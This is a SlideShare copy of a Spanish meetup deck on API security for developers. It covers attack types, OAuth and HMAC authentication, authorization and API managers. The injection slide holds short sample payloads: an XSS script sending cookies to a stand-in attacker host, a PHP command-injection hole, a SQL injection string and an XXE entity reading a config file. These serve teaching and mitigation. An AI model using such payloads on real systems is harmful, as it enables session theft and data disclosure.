SlideShare una empresa de Scribd logo
1 de 51
Seguridad en las APIs
(desde un punto de vista developer)
Marco Antonio Sanz
¿Quienes somos?
Grupo de meetup
http://www.meetup.com/API-Addicts/
❏ Apis como modelo de negocio
❏ Define y desarrolla tu primera
API
❏ Api Managers
❏ Las apis en las startups
Meetups realizados
❏ MADA. Metodología ágil de
definición de APIs
❏ Taller: Definición de APIs
❏ Taller: Desarrolla tu primera API
❏ Seguridad en las APIs
❏ Las APis en el mundo Big Data
❏ Las APis en el mundo Cloud
http://www.slideshare.net/MarcoAntonioSanzMoli/
Patrocinadores
¿qué nos ofrece?
➢ know - how de apis
➢ Experiencia en el gobierno de Apis
➢ Ejemplos de arquitecturas
➢ Experiencia en el mundo Cloud
Calle Velasco 13
Tlf: 658 89 75 75
info@cloudappi.net ·
www.cloudappi.net
❏ Conceptos generales
❏ Principales ataques
❏ Autenticación
❏ Autorización
❏ API Managers
Índice
La responsabilidad de la seguridad es cosa de todos
Responsabilidades
Conceptos generales
Fuente: http://www.rsaconference.com/writable/presentations/file_upload/sec-t07-apis-the-next-hacker-target-or-a-business-and-security-opportunity.pdf
Conceptos generales
➢ DoS
➢ Robo de credenciales
➢ Man in the middle
➢ Ataques de inyección
Principales ataques
Un cliente realiza varias llamadas hasta
que produce la indisponibilidad del servicio
➢ Caída del servicio (tiempo de
indisponibilidad del servicio)
➢ Sobrecoste. Si tienes un servicio
autoescalable, auto escalará
hasta el máximo de instancias.
DoS
Principales ataques
➢ Controlando el número de
peticiones por “cliente” de la API
➢ Controlando la IP de origen
➢ Control de peticiones por cliente
de la API
¿Cómo se puede mitigar el riesgo?
Principales ataques
DoS
La seguridad de las credenciales depende tanto
del cliente como del servidor. ¿Dónde se
almacenan?
- Servidores: Se suelen almacenar en
almacenes de claves o en el código.
- Navegadores: Las claves se almacenan
en el navegador
- Apps: Las claves se almacenan en el
código.
Principales ataques
Robo de credenciales
¿Cómo se puede mitigar el riesgo?
- Servidores: Securizando mejor los
sistemas operativos.
- Navegadores: Controlar que sólo sean
claves para acceder a información pública.
- Apps: Algoritmos de cifrado para que sea
más difícil saber la clave si se decompilan
la aplicación.
Principales ataques
Robo de credenciales
Permite a un atacante hacerse pasar por el cliente
- Un tercero se hace pasar por
el servidor de la API
- Permite suplantar la identidad
- Robo de credenciales
Principales ataques
Man in the middle
¿Cómo se puede mitigar el riesgo?
- Utilizando SSL
- Realizando SSL pinning
- Utilizando credenciales temporales
(pj: oauth 2.0,SAML)
- Sistemas de doble autenticación
(certificado cliente)
- Cifrando el cuerpo del mensaje (json
/xml)
Principales ataques
Man in the middle
Dentro de la cabecera, petición o cuerpo del mensaje va código
malicioso que permite obtener información no autorizada
- SQL injection: ejecución de
operaciones en la base de datos
- Code injection: permite ejecución de
código en remoto.
- HTML injection (cross-site
scripting ): permite la ejecución de
código html en el cliente.
Nice site, I think I'll take it.
<script>document.location="http://some_attacker/c
ookie.cgi?" + document.cookie</script>
<?php
passthru("/bin/funnytext " . $_GET['USER_INPUT']);
?>
SELECT UserList.Username FROM UserList WHERE UserList.Username =
$username AND UserList.Password = $password
Si field $password viene ‘1234’ OR ‘1’=’1’
SELECT UserList.Username FROM UserList WHERE UserList.Username =
‘prueba’ AND UserList.Password = ‘1234’ OR ‘1’=’1’
Principales ataques
Injection attacks
Continuamos con los ataques de inyección
- XML External entity Injection:
<?xml version="1.0"?>
<!DOCTYPE results [ <!ENTITY harmless SYSTEM "php://filter/read=convert.base64-
encode/resource=/var/www/config.ini" >
]>
<results>
<result>&harmless;</result>
</results>
Principales ataques
Injection attacks
¿Cómo se puede mitigar el riesgo?
Cada ataque tiene una forma de controlarlo.
Por regla general, podemos hacer lo siguiente:
- Validar todos los parámetros y
cuerpo de los mensajes.
- No dar ningún tipo de información del
servidor, lenguaje de programación.. al
atacante. Controlar las cabeceras de
respuesta, las excepciones…
Principales ataques
Injection attacks
¿Cómo se puede mitigar el riesgo?
Continuamos...
- No ejecutar nada en la base de datos
directamente (usar prepared
statements)
- No permitir entidades externas en los
xml.
- No permitir ejecuciones en el sistema
operativo relacionada con la información
de la petición.
- Validar ciertas expresiones regulares
Principales ataques
Injection attacks
En general, ¿cómo podemos mejorar la seguridad?
● API Managers
● Desarrollando SDKs
que manejan la
seguridad por parte
del cliente
● Realizando logging y
auditoría de todas las
peticiones.
Principales ataques
Aspectos generales
Autenticación
Sistemas más utilizados
● Autenticación básica (apiKey)
● Oauth (v2.0)
● Autenticación por IP
● Firmado de peticiones
● Autenticación de 2 vías (con certificado cliente)
Permite autenticar una aplicación
mediante un id de aplicación y una
contraseña.
- La información va en la cabecera
en forma de
base64(appid:appsecret)
- La información viaja en claro.
Autenticación
Básica
Protocolo que permite tanto autenticar como
autorizar:
- Genera un access token de acceso que
permite utilizarse en las peticiones.
- El access token tiene un tiempo de vida
y puede renovarse.
- Las credenciales (client_id,
client_secret) de autenticación del
cliente sólo viajan la primera vez.
- Permite autenticarse en un determinado
scope, enlazando con la autorización.
Fuente: cloudidentity.com
Oauth
Autenticación
Ejemplo con google
- Habilitamos la API Calendar
- Obtenemos las credenciales
- Obtenemos el token
- Realizamos una petición
Fuente: cloudientity.com
Oauth
Autenticación
Las aplicaciones tienen un
app_id y un app_secret, pero
no viajan en la petición.
Dentro de la petición se envía
una el app_id (junto con otros
datos) firmados con el
app_secret.
HMac
Autenticación
Se establece una comunicación por https con certificado cliente
Desde el punto de vista de
seguridad, es de los más
seguros porque verificas al
cliente.
La desventaja es que no es
tan fácil emitir certificados de
cliente. Además, no puedes
guardar los certificados en
dispositivos móviles.
Autenticación
Certificado cliente
El servidor valida la IP del cliente
El servidor tiene que conocer
la IP del cliente.
La IP también puede
suplantarse por lo que no
estás libre de un man in de
middle.
Autenticación
Por IP
Se autoriza el método y la uri para unas credenciales.
● Basada en uri
● Scope
● Autorización de la aplicación
Autorización
Métodos de autorización
Se debe autorizar tanto las urls como el contenido
● Se selecciona la
uri (tener en
cuenta los uri
parameters)
● Se seleccionan las
credenciales de
acceso
Autorización
Por Uri
Según el scope relacionado con las credenciales del login podrás
Normalmente está relacionado
con Oauth2.0, cada cliente
selecciona un scope en el
login.
Se valida el conjunto de
recursos al que pertenece un
scope.
Por ejemplo, si hacemos login sobre el scope
email, con la siguiente API, sólo podríamos obtener
el recurso email con el token proporcionado
GET /users/{id} NO
GET /users/{id}/emails SI
Por Scopes
Autorización
Cierta funcionalidad sólo podrá ser autorizada por la aplicación
Alguna funcionalidad sólo
puede ser autorizada por la
aplicación, que es la que
conoce el negocio.
Por ejemplo, seguramente sólo el administrador de
un grupo podrá eliminar dicho grupo.
GET /groups/{id} SI
DEL /groups/{id} NO
Por Aplicación
Autorización
Autenticación Autorización
Es un servidor que permite dotar de mayor seguridad a nuestras
APIS. Características principales:
- Permite dotar de autorización y autenticación a las APIs.
- Permite obtener estadísticas del uso de las APIs.
- Ofrece servicios que permiten proteger a las APIs de los ataques.
- Permite logueo y auditoría de las peticiones.
- Ofrece servicios de proveedor de identidad
¿Qué es un API manager?
API Manager
¿Es necesario un API Manager para proteger nuestras APIs ?
Dependerá del negocio de la API y
sobre todo, de la estrategia de la
organización.
Por regla general, todas las APIs que
se expongan al exterior deberían ser
securizadas por un API Manager.
Las Apis internas a una organización
también es aconsejable, debido al
mayor control sobre las API.
API Manager
API Manager
Ejemplos
API Manager
Comparativa
➢ Solución que actúa de proxy entre el API y el
cliente.
➢ Gobierno de los productos expuestos:
■ Gestión del ciclo de vida
■ Gestión de AAA
■ Control de cuotas y monetización
➢ Visibilidad y métricas
API Manager
Características principales
➢ Solución en la nube que actúa de proxy entre
el API y el cliente.
➢ Facilidad en la inclusión de políticas de
seguridad estándares.
➢ Diferentes mecanismos de autenticación:
○ Apikey
○ OAuth 2.0
Apigee
Características principales
➢ Definimos en swagger un API para la gestión
de inventario de una tienda de cds.
Apigee
API de Ejemplo
Obteniendo las credenciales
➢ Creamos un producto al que asociamos las
distintas Apps del desarrollador ->
Autenticación y Autorización.
➢ Obtenemos las credenciales utilizando el API
destinado a tal efecto.
Creando la API
Apigee
➢ Determinar las políticas de seguridad que
vamos a aplicar a la securización de la
API para prevenir:
○ Inyección de código
○ DLP
➢ Otras tareas como mediación de formatos
(XML-JSON y JSON-XML).
Securizando la API
Apigee
➢ Determinar la cuota por unidad de tiempo que
se considera aceptable.
➢ Crear el flujo de tratamiento de las situaciones
anómalas (no dar pistas a un atacante).
Protección contra DoS: cuota
Apigee
➢ Estadísticas en “tiempo real” de
○ Tráfico
○ Tiempo de respuesta
○ Tasa de errores
○ Tamaño medio de mensaje
➢ Permite exportar a CSV
➢ Apigee además proporciona un servicio
llamado Big Data Predictive analytics
Dashboard
Apigee
➢ Solución on premise (en la nube en modo beta)
que actúa de proxy entre el API y el cliente.
➢ Permite la codificación de políticas de
seguridad.
➢ Mecanismo de autenticación mediante OAuth
2.0.
Características principales
WSO2
➢ Definimos en swagger un API para la gestión
de inventario de una tienda de cds.
API de ejemplo
WSO2
Obteniendo las credenciales
➢ Creamos una aplicación a la que
garantizamos el acceso a una determinada
API.
➢ Utilizar API Store para generar y mantener
las credenciales.
➢ La solución on-premises dispone
de un API para generar Access Tokens.
Creando una API
WSO2
➢ Se basa en la codificación de políticas de
seguridad en Java.
➢ Delega parte de las políticas de seguridad en
el ESB
Securizando la API
WSO2
➢ Se configura la limitación de cuota por App
consumidora.
➢ También se establece un límite global
de cada API.
Protección contra DoS:cuota
WSO2
➢ Define estadísticas en base a:
○ Subscripciones
○ Uso
○ Tiempos de respuesta
○ Errores
Dashboard
WSO2
➢ RSA conference 2014: http://goo.gl/IWCQwU
➢ Ataques de inyección de código: http://en.wikipedia.org/wiki/Code_injection
➢ Ataques de inyección de SQL: http://goo.gl/ViFpOr
➢ Ataques de inyección en php : http://goo.gl/qhbf9U
➢ Seguridad en las APIs desde el punto de vista de devops y CSO.
➢ Oauth2.0: http://goo.gl/p9XPQS , http://goo.gl/emYNqO
➢ Web principal de apigee : http://apigee.com
➢ Web principal de wso2: http://wso2.com
Enlaces de interés
Ruegos y preguntas
Contacta en:
Email: admin@apiaddicts.org
Web:
http://www.meetup.com/APIAddicts
Siguenos en:
➢ Linkedin: ApiAddicts
➢ Twitter: @apiaddicts
➢ Facebook: APIAddicts
➢ Meetup: APIAddicts
Contacta

Más contenido relacionado

La actualidad más candente

gestion-de-riesgos-iso-27005-completo_compress.pdf
gestion-de-riesgos-iso-27005-completo_compress.pdfgestion-de-riesgos-iso-27005-completo_compress.pdf
gestion-de-riesgos-iso-27005-completo_compress.pdf
carlosandres865046
 
Protocolo syslog
Protocolo   syslogProtocolo   syslog
Protocolo syslog
UTP
 

La actualidad más candente (20)

Que es y como usar nmap
Que es y como usar nmapQue es y como usar nmap
Que es y como usar nmap
 
Diagrama de actividades
Diagrama de actividadesDiagrama de actividades
Diagrama de actividades
 
Diseño de Software
Diseño de SoftwareDiseño de Software
Diseño de Software
 
ISO 27004- Information Security Metrics Implementation
ISO 27004- Information Security Metrics ImplementationISO 27004- Information Security Metrics Implementation
ISO 27004- Information Security Metrics Implementation
 
Resumen de los capitulos i, ii, iii del libro kendall & kendall
Resumen de los capitulos i, ii, iii del libro kendall & kendallResumen de los capitulos i, ii, iii del libro kendall & kendall
Resumen de los capitulos i, ii, iii del libro kendall & kendall
 
From SIEM to SOC: Crossing the Cybersecurity Chasm
From SIEM to SOC: Crossing the Cybersecurity ChasmFrom SIEM to SOC: Crossing the Cybersecurity Chasm
From SIEM to SOC: Crossing the Cybersecurity Chasm
 
Servidor web apache
Servidor web apache Servidor web apache
Servidor web apache
 
NIST Cyber Security Framework V1.1 - Infogram Poster
NIST Cyber Security Framework V1.1 - Infogram PosterNIST Cyber Security Framework V1.1 - Infogram Poster
NIST Cyber Security Framework V1.1 - Infogram Poster
 
Web services en sistemas distribuidos
Web services en sistemas distribuidosWeb services en sistemas distribuidos
Web services en sistemas distribuidos
 
Gestión de riesgos de seguridad de la información - ISO 27005
Gestión de riesgos de seguridad de la información - ISO 27005Gestión de riesgos de seguridad de la información - ISO 27005
Gestión de riesgos de seguridad de la información - ISO 27005
 
Business value of Enterprise Security Architecture
Business value of Enterprise Security Architecture Business value of Enterprise Security Architecture
Business value of Enterprise Security Architecture
 
Conceptual security architecture
Conceptual security architectureConceptual security architecture
Conceptual security architecture
 
Deteccion de intrusos
Deteccion de intrusosDeteccion de intrusos
Deteccion de intrusos
 
Diagrama de actividades power point
Diagrama de actividades power pointDiagrama de actividades power point
Diagrama de actividades power point
 
Security architecture frameworks
Security architecture frameworksSecurity architecture frameworks
Security architecture frameworks
 
gestion-de-riesgos-iso-27005-completo_compress.pdf
gestion-de-riesgos-iso-27005-completo_compress.pdfgestion-de-riesgos-iso-27005-completo_compress.pdf
gestion-de-riesgos-iso-27005-completo_compress.pdf
 
Retos en la arquitectura de Microservicios
Retos en la arquitectura de MicroserviciosRetos en la arquitectura de Microservicios
Retos en la arquitectura de Microservicios
 
Building Security Operation Center
Building Security Operation CenterBuilding Security Operation Center
Building Security Operation Center
 
Soc
SocSoc
Soc
 
Protocolo syslog
Protocolo   syslogProtocolo   syslog
Protocolo syslog
 

Similar a Seguridad en las apis desde un punto de vista de developer

3. certificados y pki
3. certificados y pki3. certificados y pki
3. certificados y pki
1 2d
 

Similar a Seguridad en las apis desde un punto de vista de developer (20)

GFI - Seguridad en tus APIs
GFI - Seguridad en tus APIsGFI - Seguridad en tus APIs
GFI - Seguridad en tus APIs
 
"Los Imprescindibles de .NetCore"
"Los Imprescindibles de .NetCore""Los Imprescindibles de .NetCore"
"Los Imprescindibles de .NetCore"
 
Temas owasp
Temas owaspTemas owasp
Temas owasp
 
OAuth 2.0 (Spanish)
OAuth 2.0 (Spanish)OAuth 2.0 (Spanish)
OAuth 2.0 (Spanish)
 
Qué es eso de OAuth y como se implementa en Symfony2 (y otros)
Qué es eso de OAuth y como se implementa en Symfony2 (y otros)Qué es eso de OAuth y como se implementa en Symfony2 (y otros)
Qué es eso de OAuth y como se implementa en Symfony2 (y otros)
 
SimpleSAMLphp
SimpleSAMLphpSimpleSAMLphp
SimpleSAMLphp
 
Identity Management con SSO y SAML 2.0
Identity Management con SSO y SAML 2.0 Identity Management con SSO y SAML 2.0
Identity Management con SSO y SAML 2.0
 
Api managers
Api managersApi managers
Api managers
 
Mada metodología ágil de desarrollo de apis
Mada   metodología ágil de desarrollo de apisMada   metodología ágil de desarrollo de apis
Mada metodología ágil de desarrollo de apis
 
Desarrollo seguro en NodeJS (OWASP top ten y JWT)
Desarrollo seguro en NodeJS (OWASP top ten y JWT)Desarrollo seguro en NodeJS (OWASP top ten y JWT)
Desarrollo seguro en NodeJS (OWASP top ten y JWT)
 
Hack Like a Pro With Custom VPS - Taller Navaja Negra 2019
Hack Like a Pro With Custom VPS - Taller Navaja Negra 2019Hack Like a Pro With Custom VPS - Taller Navaja Negra 2019
Hack Like a Pro With Custom VPS - Taller Navaja Negra 2019
 
2018 cyberark evento cloud
2018   cyberark evento cloud2018   cyberark evento cloud
2018 cyberark evento cloud
 
Construyendo APIs Seguras y Escalables
Construyendo APIs Seguras y Escalables Construyendo APIs Seguras y Escalables
Construyendo APIs Seguras y Escalables
 
tutorial guide using the api - 2015 espana seminario tecnico
tutorial guide using the api - 2015 espana seminario tecnicotutorial guide using the api - 2015 espana seminario tecnico
tutorial guide using the api - 2015 espana seminario tecnico
 
WSO2 API Manager y ESB la plataforma perfecta para evolucionar los servicios
WSO2 API Manager y ESB la plataforma perfecta para evolucionar los serviciosWSO2 API Manager y ESB la plataforma perfecta para evolucionar los servicios
WSO2 API Manager y ESB la plataforma perfecta para evolucionar los servicios
 
3. certificados y pki
3. certificados y pki3. certificados y pki
3. certificados y pki
 
Apiux ciber seguridad+ casos de exito
Apiux   ciber seguridad+ casos de exitoApiux   ciber seguridad+ casos de exito
Apiux ciber seguridad+ casos de exito
 
Hack like a pro with custom VPS - Najava Negra 2019
Hack like a pro with custom VPS - Najava Negra 2019Hack like a pro with custom VPS - Najava Negra 2019
Hack like a pro with custom VPS - Najava Negra 2019
 
Implementación de autenticación federada con WSO2 Identity Server 5.1
Implementación de autenticación federada con WSO2 Identity Server 5.1Implementación de autenticación federada con WSO2 Identity Server 5.1
Implementación de autenticación federada con WSO2 Identity Server 5.1
 
El mundo cloud y las apis
El mundo cloud y las apisEl mundo cloud y las apis
El mundo cloud y las apis
 

Más de CloudAppi

Más de CloudAppi (14)

Meme teambuilding
Meme teambuildingMeme teambuilding
Meme teambuilding
 
Cloud appi transformacion digital
Cloud appi   transformacion digitalCloud appi   transformacion digital
Cloud appi transformacion digital
 
Marco antonio sanz
Marco antonio sanzMarco antonio sanz
Marco antonio sanz
 
Desarrolla tu primera api con spring boot
Desarrolla tu primera api con spring bootDesarrolla tu primera api con spring boot
Desarrolla tu primera api con spring boot
 
Gobierno de apis
Gobierno de apisGobierno de apis
Gobierno de apis
 
Api managers
Api managersApi managers
Api managers
 
RAML
RAMLRAML
RAML
 
Big data y las apis (big data spain)
Big data y las apis (big data spain)Big data y las apis (big data spain)
Big data y las apis (big data spain)
 
Define y desarrolla tu primera api
Define y desarrolla tu primera apiDefine y desarrolla tu primera api
Define y desarrolla tu primera api
 
JSDays Desarrolla tu primera API
JSDays Desarrolla tu primera APIJSDays Desarrolla tu primera API
JSDays Desarrolla tu primera API
 
Big data y las apis
Big data y  las apis Big data y  las apis
Big data y las apis
 
Las apis como modelo de negocio
Las apis como modelo de negocioLas apis como modelo de negocio
Las apis como modelo de negocio
 
Taller desarrollo de apis
Taller desarrollo de apisTaller desarrollo de apis
Taller desarrollo de apis
 
Taller definición de apis
Taller definición de apisTaller definición de apis
Taller definición de apis
 

Último

redes informaticas en una oficina administrativa
redes informaticas en una oficina administrativaredes informaticas en una oficina administrativa
redes informaticas en una oficina administrativa
nicho110
 

Último (11)

Avances tecnológicos del siglo XXI 10-07 eyvana
Avances tecnológicos del siglo XXI 10-07 eyvanaAvances tecnológicos del siglo XXI 10-07 eyvana
Avances tecnológicos del siglo XXI 10-07 eyvana
 
Innovaciones tecnologicas en el siglo 21
Innovaciones tecnologicas en el siglo 21Innovaciones tecnologicas en el siglo 21
Innovaciones tecnologicas en el siglo 21
 
Buenos_Aires_Meetup_Redis_20240430_.pptx
Buenos_Aires_Meetup_Redis_20240430_.pptxBuenos_Aires_Meetup_Redis_20240430_.pptx
Buenos_Aires_Meetup_Redis_20240430_.pptx
 
investigación de los Avances tecnológicos del siglo XXI
investigación de los Avances tecnológicos del siglo XXIinvestigación de los Avances tecnológicos del siglo XXI
investigación de los Avances tecnológicos del siglo XXI
 
redes informaticas en una oficina administrativa
redes informaticas en una oficina administrativaredes informaticas en una oficina administrativa
redes informaticas en una oficina administrativa
 
EVOLUCION DE LA TECNOLOGIA Y SUS ASPECTOSpptx
EVOLUCION DE LA TECNOLOGIA Y SUS ASPECTOSpptxEVOLUCION DE LA TECNOLOGIA Y SUS ASPECTOSpptx
EVOLUCION DE LA TECNOLOGIA Y SUS ASPECTOSpptx
 
Resistencia extrema al cobre por un consorcio bacteriano conformado por Sulfo...
Resistencia extrema al cobre por un consorcio bacteriano conformado por Sulfo...Resistencia extrema al cobre por un consorcio bacteriano conformado por Sulfo...
Resistencia extrema al cobre por un consorcio bacteriano conformado por Sulfo...
 
Avances tecnológicos del siglo XXI y ejemplos de estos
Avances tecnológicos del siglo XXI y ejemplos de estosAvances tecnológicos del siglo XXI y ejemplos de estos
Avances tecnológicos del siglo XXI y ejemplos de estos
 
How to use Redis with MuleSoft. A quick start presentation.
How to use Redis with MuleSoft. A quick start presentation.How to use Redis with MuleSoft. A quick start presentation.
How to use Redis with MuleSoft. A quick start presentation.
 
Guia Basica para bachillerato de Circuitos Basicos
Guia Basica para bachillerato de Circuitos BasicosGuia Basica para bachillerato de Circuitos Basicos
Guia Basica para bachillerato de Circuitos Basicos
 
PROYECTO FINAL. Tutorial para publicar en SlideShare.pptx
PROYECTO FINAL. Tutorial para publicar en SlideShare.pptxPROYECTO FINAL. Tutorial para publicar en SlideShare.pptx
PROYECTO FINAL. Tutorial para publicar en SlideShare.pptx
 

Seguridad en las apis desde un punto de vista de developer

  • 1. Seguridad en las APIs (desde un punto de vista developer) Marco Antonio Sanz
  • 2. ¿Quienes somos? Grupo de meetup http://www.meetup.com/API-Addicts/ ❏ Apis como modelo de negocio ❏ Define y desarrolla tu primera API ❏ Api Managers ❏ Las apis en las startups Meetups realizados ❏ MADA. Metodología ágil de definición de APIs ❏ Taller: Definición de APIs ❏ Taller: Desarrolla tu primera API ❏ Seguridad en las APIs ❏ Las APis en el mundo Big Data ❏ Las APis en el mundo Cloud http://www.slideshare.net/MarcoAntonioSanzMoli/
  • 3. Patrocinadores ¿qué nos ofrece? ➢ know - how de apis ➢ Experiencia en el gobierno de Apis ➢ Ejemplos de arquitecturas ➢ Experiencia en el mundo Cloud Calle Velasco 13 Tlf: 658 89 75 75 info@cloudappi.net · www.cloudappi.net
  • 4. ❏ Conceptos generales ❏ Principales ataques ❏ Autenticación ❏ Autorización ❏ API Managers Índice
  • 5. La responsabilidad de la seguridad es cosa de todos Responsabilidades Conceptos generales
  • 7. ➢ DoS ➢ Robo de credenciales ➢ Man in the middle ➢ Ataques de inyección Principales ataques
  • 8. Un cliente realiza varias llamadas hasta que produce la indisponibilidad del servicio ➢ Caída del servicio (tiempo de indisponibilidad del servicio) ➢ Sobrecoste. Si tienes un servicio autoescalable, auto escalará hasta el máximo de instancias. DoS Principales ataques
  • 9. ➢ Controlando el número de peticiones por “cliente” de la API ➢ Controlando la IP de origen ➢ Control de peticiones por cliente de la API ¿Cómo se puede mitigar el riesgo? Principales ataques DoS
  • 10. La seguridad de las credenciales depende tanto del cliente como del servidor. ¿Dónde se almacenan? - Servidores: Se suelen almacenar en almacenes de claves o en el código. - Navegadores: Las claves se almacenan en el navegador - Apps: Las claves se almacenan en el código. Principales ataques Robo de credenciales
  • 11. ¿Cómo se puede mitigar el riesgo? - Servidores: Securizando mejor los sistemas operativos. - Navegadores: Controlar que sólo sean claves para acceder a información pública. - Apps: Algoritmos de cifrado para que sea más difícil saber la clave si se decompilan la aplicación. Principales ataques Robo de credenciales
  • 12. Permite a un atacante hacerse pasar por el cliente - Un tercero se hace pasar por el servidor de la API - Permite suplantar la identidad - Robo de credenciales Principales ataques Man in the middle
  • 13. ¿Cómo se puede mitigar el riesgo? - Utilizando SSL - Realizando SSL pinning - Utilizando credenciales temporales (pj: oauth 2.0,SAML) - Sistemas de doble autenticación (certificado cliente) - Cifrando el cuerpo del mensaje (json /xml) Principales ataques Man in the middle
  • 14. Dentro de la cabecera, petición o cuerpo del mensaje va código malicioso que permite obtener información no autorizada - SQL injection: ejecución de operaciones en la base de datos - Code injection: permite ejecución de código en remoto. - HTML injection (cross-site scripting ): permite la ejecución de código html en el cliente. Nice site, I think I'll take it. <script>document.location="http://some_attacker/c ookie.cgi?" + document.cookie</script> <?php passthru("/bin/funnytext " . $_GET['USER_INPUT']); ?> SELECT UserList.Username FROM UserList WHERE UserList.Username = $username AND UserList.Password = $password Si field $password viene ‘1234’ OR ‘1’=’1’ SELECT UserList.Username FROM UserList WHERE UserList.Username = ‘prueba’ AND UserList.Password = ‘1234’ OR ‘1’=’1’ Principales ataques Injection attacks
  • 15. Continuamos con los ataques de inyección - XML External entity Injection: <?xml version="1.0"?> <!DOCTYPE results [ <!ENTITY harmless SYSTEM "php://filter/read=convert.base64- encode/resource=/var/www/config.ini" > ]> <results> <result>&harmless;</result> </results> Principales ataques Injection attacks
  • 16. ¿Cómo se puede mitigar el riesgo? Cada ataque tiene una forma de controlarlo. Por regla general, podemos hacer lo siguiente: - Validar todos los parámetros y cuerpo de los mensajes. - No dar ningún tipo de información del servidor, lenguaje de programación.. al atacante. Controlar las cabeceras de respuesta, las excepciones… Principales ataques Injection attacks
  • 17. ¿Cómo se puede mitigar el riesgo? Continuamos... - No ejecutar nada en la base de datos directamente (usar prepared statements) - No permitir entidades externas en los xml. - No permitir ejecuciones en el sistema operativo relacionada con la información de la petición. - Validar ciertas expresiones regulares Principales ataques Injection attacks
  • 18. En general, ¿cómo podemos mejorar la seguridad? ● API Managers ● Desarrollando SDKs que manejan la seguridad por parte del cliente ● Realizando logging y auditoría de todas las peticiones. Principales ataques Aspectos generales
  • 19. Autenticación Sistemas más utilizados ● Autenticación básica (apiKey) ● Oauth (v2.0) ● Autenticación por IP ● Firmado de peticiones ● Autenticación de 2 vías (con certificado cliente)
  • 20. Permite autenticar una aplicación mediante un id de aplicación y una contraseña. - La información va en la cabecera en forma de base64(appid:appsecret) - La información viaja en claro. Autenticación Básica
  • 21. Protocolo que permite tanto autenticar como autorizar: - Genera un access token de acceso que permite utilizarse en las peticiones. - El access token tiene un tiempo de vida y puede renovarse. - Las credenciales (client_id, client_secret) de autenticación del cliente sólo viajan la primera vez. - Permite autenticarse en un determinado scope, enlazando con la autorización. Fuente: cloudidentity.com Oauth Autenticación
  • 22. Ejemplo con google - Habilitamos la API Calendar - Obtenemos las credenciales - Obtenemos el token - Realizamos una petición Fuente: cloudientity.com Oauth Autenticación
  • 23. Las aplicaciones tienen un app_id y un app_secret, pero no viajan en la petición. Dentro de la petición se envía una el app_id (junto con otros datos) firmados con el app_secret. HMac Autenticación
  • 24. Se establece una comunicación por https con certificado cliente Desde el punto de vista de seguridad, es de los más seguros porque verificas al cliente. La desventaja es que no es tan fácil emitir certificados de cliente. Además, no puedes guardar los certificados en dispositivos móviles. Autenticación Certificado cliente
  • 25. El servidor valida la IP del cliente El servidor tiene que conocer la IP del cliente. La IP también puede suplantarse por lo que no estás libre de un man in de middle. Autenticación Por IP
  • 26. Se autoriza el método y la uri para unas credenciales. ● Basada en uri ● Scope ● Autorización de la aplicación Autorización Métodos de autorización
  • 27. Se debe autorizar tanto las urls como el contenido ● Se selecciona la uri (tener en cuenta los uri parameters) ● Se seleccionan las credenciales de acceso Autorización Por Uri
  • 28. Según el scope relacionado con las credenciales del login podrás Normalmente está relacionado con Oauth2.0, cada cliente selecciona un scope en el login. Se valida el conjunto de recursos al que pertenece un scope. Por ejemplo, si hacemos login sobre el scope email, con la siguiente API, sólo podríamos obtener el recurso email con el token proporcionado GET /users/{id} NO GET /users/{id}/emails SI Por Scopes Autorización
  • 29. Cierta funcionalidad sólo podrá ser autorizada por la aplicación Alguna funcionalidad sólo puede ser autorizada por la aplicación, que es la que conoce el negocio. Por ejemplo, seguramente sólo el administrador de un grupo podrá eliminar dicho grupo. GET /groups/{id} SI DEL /groups/{id} NO Por Aplicación Autorización
  • 31. Es un servidor que permite dotar de mayor seguridad a nuestras APIS. Características principales: - Permite dotar de autorización y autenticación a las APIs. - Permite obtener estadísticas del uso de las APIs. - Ofrece servicios que permiten proteger a las APIs de los ataques. - Permite logueo y auditoría de las peticiones. - Ofrece servicios de proveedor de identidad ¿Qué es un API manager? API Manager
  • 32. ¿Es necesario un API Manager para proteger nuestras APIs ? Dependerá del negocio de la API y sobre todo, de la estrategia de la organización. Por regla general, todas las APIs que se expongan al exterior deberían ser securizadas por un API Manager. Las Apis internas a una organización también es aconsejable, debido al mayor control sobre las API. API Manager
  • 35. ➢ Solución que actúa de proxy entre el API y el cliente. ➢ Gobierno de los productos expuestos: ■ Gestión del ciclo de vida ■ Gestión de AAA ■ Control de cuotas y monetización ➢ Visibilidad y métricas API Manager Características principales
  • 36. ➢ Solución en la nube que actúa de proxy entre el API y el cliente. ➢ Facilidad en la inclusión de políticas de seguridad estándares. ➢ Diferentes mecanismos de autenticación: ○ Apikey ○ OAuth 2.0 Apigee Características principales
  • 37. ➢ Definimos en swagger un API para la gestión de inventario de una tienda de cds. Apigee API de Ejemplo
  • 38. Obteniendo las credenciales ➢ Creamos un producto al que asociamos las distintas Apps del desarrollador -> Autenticación y Autorización. ➢ Obtenemos las credenciales utilizando el API destinado a tal efecto. Creando la API Apigee
  • 39. ➢ Determinar las políticas de seguridad que vamos a aplicar a la securización de la API para prevenir: ○ Inyección de código ○ DLP ➢ Otras tareas como mediación de formatos (XML-JSON y JSON-XML). Securizando la API Apigee
  • 40. ➢ Determinar la cuota por unidad de tiempo que se considera aceptable. ➢ Crear el flujo de tratamiento de las situaciones anómalas (no dar pistas a un atacante). Protección contra DoS: cuota Apigee
  • 41. ➢ Estadísticas en “tiempo real” de ○ Tráfico ○ Tiempo de respuesta ○ Tasa de errores ○ Tamaño medio de mensaje ➢ Permite exportar a CSV ➢ Apigee además proporciona un servicio llamado Big Data Predictive analytics Dashboard Apigee
  • 42. ➢ Solución on premise (en la nube en modo beta) que actúa de proxy entre el API y el cliente. ➢ Permite la codificación de políticas de seguridad. ➢ Mecanismo de autenticación mediante OAuth 2.0. Características principales WSO2
  • 43. ➢ Definimos en swagger un API para la gestión de inventario de una tienda de cds. API de ejemplo WSO2
  • 44. Obteniendo las credenciales ➢ Creamos una aplicación a la que garantizamos el acceso a una determinada API. ➢ Utilizar API Store para generar y mantener las credenciales. ➢ La solución on-premises dispone de un API para generar Access Tokens. Creando una API WSO2
  • 45. ➢ Se basa en la codificación de políticas de seguridad en Java. ➢ Delega parte de las políticas de seguridad en el ESB Securizando la API WSO2
  • 46. ➢ Se configura la limitación de cuota por App consumidora. ➢ También se establece un límite global de cada API. Protección contra DoS:cuota WSO2
  • 47. ➢ Define estadísticas en base a: ○ Subscripciones ○ Uso ○ Tiempos de respuesta ○ Errores Dashboard WSO2
